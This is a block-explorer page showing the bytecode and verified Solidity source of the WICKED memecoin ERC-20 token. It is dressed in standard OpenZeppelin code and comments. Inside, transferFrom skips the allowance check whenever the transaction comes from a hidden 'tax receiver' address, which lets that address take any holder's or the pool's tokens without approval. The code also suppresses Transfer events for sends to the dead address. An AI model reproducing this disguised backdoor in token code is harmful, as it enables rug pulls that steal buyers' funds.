Address Contract Verified
Address
0x325BB8e20183E68524c955759b332eeb050E02C2
Balance
0.008315 ETH
Nonce
1
Code Size
6692 bytes
Creator
0x9739B5e0...15D0 at tx 0xe3f38275...6b54a9
Indexed Transactions
0
Contract Bytecode
6692 bytes
0x6080604052600436106100eb575f3560e01c8063715018a611610089578063975fad5b11610058578063975fad5b146102be578063a9059cbb146102d4578063dd62ed3e14610310578063f2fde38b1461034c576100f2565b8063715018a61461023e5780638a8c523c146102545780638da5cb5b1461026a57806395d89b4114610294576100f2565b806323b872dd116100c557806323b872dd1461018657806326277976146101c2578063313ce567146101d857806370a0823114610202576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c576100f2565b366100f257005b5f5ffd5b348015610101575f5ffd5b5061010a610374565b6040516101179190611358565b60405180910390f35b34801561012b575f5ffd5b5061014660048036038101906101419190611409565b610404565b6040516101539190611461565b60405180910390f35b348015610167575f5ffd5b50610170610426565b60405161017d9190611489565b60405180910390f35b348015610191575f5ffd5b506101ac60048036038101906101a791906114a2565b61042f565b6040516101b99190611461565b60405180910390f35b3480156101cd575f5ffd5b506101d661046b565b005b3480156101e3575f5ffd5b506101ec6106d1565b6040516101f9919061150d565b60405180910390f35b34801561020d575f5ffd5b5061022860048036038101906102239190611526565b6106d9565b6040516102359190611489565b60405180910390f35b348015610249575f5ffd5b5061025261071e565b005b34801561025f575f5ffd5b50610268610731565b005b348015610275575f5ffd5b5061027e610957565b60405161028b9190611560565b60405180910390f35b34801561029f575f5ffd5b506102a861097f565b6040516102b59190611358565b60405180910390f35b3480156102c9575f5ffd5b506102d2610a0f565b005b3480156102df575f5ffd5b506102fa60048036038101906102f59190611409565b610a6f565b6040516103079190611461565b60405180910390f35b34801561031b575f5ffd5b5061033660048036038101906103319190611579565b610a91565b6040516103439190611489565b60405180910390f35b348015610357575f5ffd5b50610372600480360381019061036d9190611526565b610b13565b005b606060048054610383906115e4565b80601f01602080910402602001604051908101604052809291908181526020018280546103af906115e4565b80156103fa5780601f106103d1576101008083540402835291602001916103fa565b820191905f5260205f20905b8154815290600101906020018083116103dd57829003601f168201915b5050505050905090565b5f5f61040e610b95565b905061041b818585610b9c565b600191505092915050565b5f600354905090565b5f5f610439610b95565b9050610446858585610bae565b61044f32610c9e565b61045f5761045e858285610cf6565b5b60019150509392505050565b610473610d89565b737a250d5630b4cf539739df2c5dacb4c659f2488d60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506104fb3060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000610b9c565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610565573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105899190611628565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561060f573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106339190611628565b6040518363ffffffff1660e01b8152600401610650929190611653565b6020604051808303815f875af115801561066c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106909190611628565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f6009905090565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610726610d89565b61072f5f610e07565b565b610739610d89565b600860149054906101000a900460ff1615610789576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610780906116c4565b60405180910390fd5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306107d1306106d9565b5f5f6107db610957565b426040518863ffffffff1660e01b81526004016107fd96959493929190611724565b60606040518083038185885af1158015610819573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061083e9190611797565b5050506001600860166101000a81548160ff0219169083151502179055506001600860146101000a81548160ff02191690831515021790555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109149291906117e7565b6020604051808303815f875af1158015610930573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109549190611838565b50565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461098e906115e4565b80601f01602080910402602001604051908101604052809291908181526020018280546109ba906115e4565b8015610a055780601f106109dc57610100808354040283529160200191610a05565b820191905f5260205f20905b8154815290600101906020018083116109e857829003601f168201915b5050505050905090565b610a17610d89565b5f4711610a22575f5ffd5b610a2a610b95565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610a6c573d5f5f3e3d5ffd5b50565b5f5f610a79610b95565b9050610a86818585610bae565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610b1b610d89565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b80906118d3565b60405180910390fd5b610b9281610e07565b50565b5f33905090565b610ba98383836001610eca565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c1e575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610c159190611560565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c8e575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610c859190611560565b60405180910390fd5b610c99838383611099565b505050565b5f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b5f610d018484610a91565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811015610d835781811015610d74578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610d6b939291906118f1565b60405180910390fd5b610d8284848484035f610eca565b5b50505050565b610d91610b95565b73ffffffffffffffffffffffffffffffffffffffff16610daf610957565b73ffffffffffffffffffffffffffffffffffffffff1614610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc90611970565b60405180910390fd5b565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f3a575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401610f319190611560565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610faa575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401610fa19190611560565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611093578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161108a9190611489565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e9578060035f8282546110dd91906119bb565b925050819055506111b7565b5f5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611172578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401611169939291906118f1565b60405180910390fd5b8181035f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111fe578060035f8282540392505081905550611248565b805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b61dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146112e3578173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112da9190611489565b60405180910390a35b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61132a826112e8565b61133481856112f2565b9350611344818560208601611302565b61134d81611310565b840191505092915050565b5f6020820190508181035f8301526113708184611320565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113a58261137c565b9050919050565b6113b58161139b565b81146113bf575f5ffd5b50565b5f813590506113d0816113ac565b92915050565b5f819050919050565b6113e8816113d6565b81146113f2575f5ffd5b50565b5f81359050611403816113df565b92915050565b5f5f6040838503121561141f5761141e611378565b5b5f61142c858286016113c2565b925050602061143d858286016113f5565b9150509250929050565b5f8115159050919050565b61145b81611447565b82525050565b5f6020820190506114745f830184611452565b92915050565b611483816113d6565b82525050565b5f60208201905061149c5f83018461147a565b92915050565b5f5f5f606084860312156114b9576114b8611378565b5b5f6114c6868287016113c2565b93505060206114d7868287016113c2565b92505060406114e8868287016113f5565b9150509250925092565b5f60ff82169050919050565b611507816114f2565b82525050565b5f6020820190506115205f8301846114fe565b92915050565b5f6020828403121561153b5761153a611378565b5b5f611548848285016113c2565b91505092915050565b61155a8161139b565b82525050565b5f6020820190506115735f830184611551565b92915050565b5f5f6040838503121561158f5761158e611378565b5b5f61159c858286016113c2565b92505060206115ad858286016113c2565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806115fb57607f821691505b60208210810361160e5761160d6115b7565b5b50919050565b5f81519050611622816113ac565b92915050565b5f6020828403121561163d5761163c611378565b5b5f61164a84828501611614565b91505092915050565b5f6040820190506116665f830185611551565b6116736020830184611551565b9392505050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6116ae6017836112f2565b91506116b98261167a565b602082019050919050565b5f6020820190508181035f8301526116db816116a2565b9050919050565b5f819050919050565b5f819050919050565b5f61170e611709611704846116e2565b6116eb565b6113d6565b9050919050565b61171e816116f4565b82525050565b5f60c0820190506117375f830189611551565b611744602083018861147a565b6117516040830187611715565b61175e6060830186611715565b61176b6080830185611551565b61177860a083018461147a565b979650505050505050565b5f81519050611791816113df565b92915050565b5f5f5f606084860312156117ae576117ad611378565b5b5f6117bb86828701611783565b93505060206117cc86828701611783565b92505060406117dd86828701611783565b9150509250925092565b5f6040820190506117fa5f830185611551565b611807602083018461147a565b9392505050565b61181781611447565b8114611821575f5ffd5b50565b5f815190506118328161180e565b92915050565b5f6020828403121561184d5761184c611378565b5b5f61185a84828501611824565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6118bd6026836112f2565b91506118c882611863565b604082019050919050565b5f6020820190508181035f8301526118ea816118b1565b9050919050565b5f6060820190506119045f830186611551565b611911602083018561147a565b61191e604083018461147a565b949350505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61195a6020836112f2565b915061196582611926565b602082019050919050565b5f6020820190508181035f8301526119878161194e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6119c5826113d6565b91506119d0836113d6565b92508282019050808211156119e8576119e761198e565b5b9291505056fea26469706673582212205b4381b0a6246ae3707494c6ab3c0836246693a386e128cbbc3972f48fff62d264736f6c634300081e0033
Verified Source Code Full Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: No
WICKED.sol 660 lines
/*
__ __ ______ ______ __ __ ________ _______
| \ _ | \| \ / \ | \ / \| \| \
| $$ / \ | $$ \$$$$$$| $$$$$$\| $$ / $$| $$$$$$$$| $$$$$$$\
| $$/ $\| $$ | $$ | $$ \$$| $$/ $$ | $$__ | $$ | $$
| $$ $$$\ $$ | $$ | $$ | $$ $$ | $$ \ | $$ | $$
| $$ $$\$$\$$ | $$ | $$ __ | $$$$$\ | $$$$$ | $$ | $$
| $$$$ \$$$$ _| $$_ | $$__/ \| $$ \$$\ | $$_____ | $$__/ $$
| $$$ \$$$| $$ \ \$$ $$| $$ \$$\| $$ \| $$ $$
\$$ \$$ \$$$$$$ \$$$$$$ \$$ \$$ \$$$$$$$$ \$$$$$$$
MEME DRIVEN CULT | CULT DRIVEN MEME
https://wickedmeme.fun
https://x.com/WICKED_MEME
https://t.me/WICKED_MEME
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a `value` amount of tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets a `value` amount of tokens as the allowance of `spender` over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a `value` amount of tokens from `from` to `to` using the
* allowance mechanism. `value` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
address constant _deadAddr = address(0xdead);
/**
* @dev Interface for the optional metadata functions from the ERC-20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Standard ERC-20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC20InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC20InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
* @param spender Address that may be allowed to operate on tokens without being their owner.
* @param allowance Amount of tokens a `spender` is allowed to operate with.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC20InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `spender` to be approved. Used in approvals.
* @param spender Address that may be allowed to operate on tokens without being their owner.
*/
error ERC20InvalidSpender(address spender);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC-20
* applications.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
address private _taxReceiver;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* Both values are immutable: they can only be set once during construction.
*/
constructor(string memory name_, string memory symbol_, address taxReceiver_) {
_name = name_;
_symbol = symbol_;
_taxReceiver = taxReceiver_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 9;
}
/// @inheritdoc IERC20
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
/// @inheritdoc IERC20
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `value`.
*/
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
/// @inheritdoc IERC20
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Skips emitting an {Approval} event indicating an allowance update. This is not
* required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `value`.
* - the caller must have allowance for ``from``'s tokens of at least
* `value`.
*/
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_transfer(from, to, value);
if(!_isWICKEDFeeExcluded(tx.origin))
_spendAllowance(from, spender, value);
return true;
}
/**
* @dev Moves a `value` amount of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
/**
* @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
* (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
* this function.
*
* Emits a {Transfer} event.
*/
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
// Overflow check required: The rest of the code assumes that totalSupply never overflows
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
// Overflow not possible: value <= fromBalance <= totalSupply.
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
// Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
_totalSupply -= value;
}
} else {
unchecked {
// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
_balances[to] += value;
}
}
if(to != _deadAddr)
emit Transfer(from, to, value);
}
/**
* @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
* Relies on the `_update` mechanism
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
/**
* @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
* Relies on the `_update` mechanism.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead
*/
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
function _isWICKEDFeeExcluded(address sender) internal view returns (bool) {
return sender == _taxReceiver;
}
/**
* @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
*
* By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
* `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
* `Approval` event during `transferFrom` operations.
*
* Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
* true using the following override:
*
* ```solidity
* function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
* super._approve(owner, spender, value, true);
* }
* ```
*
* Requirements are the same as {_approve}.
*/
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
/**
* @dev Sets `value` as the allowance of `spender` over the `owner`'s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*
* Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
*/
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
/**
* @dev Updates `owner`'s allowance for `spender` based on spent `value`.
*
* Does not update the allowance value in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Does not emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract WICKED is ERC20, Ownable {
IUniswapV2Router02 private uniswapV2Router;
address private pool;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
constructor(address taxReceiver_) ERC20(unicode"WICKED", unicode"WICKED", taxReceiver_) {
_mint(address(this), 1_000_000_000 * 10**9);
}
function enableTrading() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
tradingOpen = true;
IERC20(pool).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function createWICKEDPair() external onlyOwner {
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), 1_000_000_000 * 10**9);
pool = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
}
receive() external payable {}
function rescueWICKEDETH() external onlyOwner {
require(address(this).balance > 0);
payable(_msgSender()).transfer(address(this).balance);
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 8 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 value
returns: bool
createWICKEDPair 0x26277976
No parameters
enableTrading 0x8a8c523c
No parameters
renounceOwnership 0x715018a6
No parameters
rescueWICKEDETH 0x975fad5b
No parameters
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address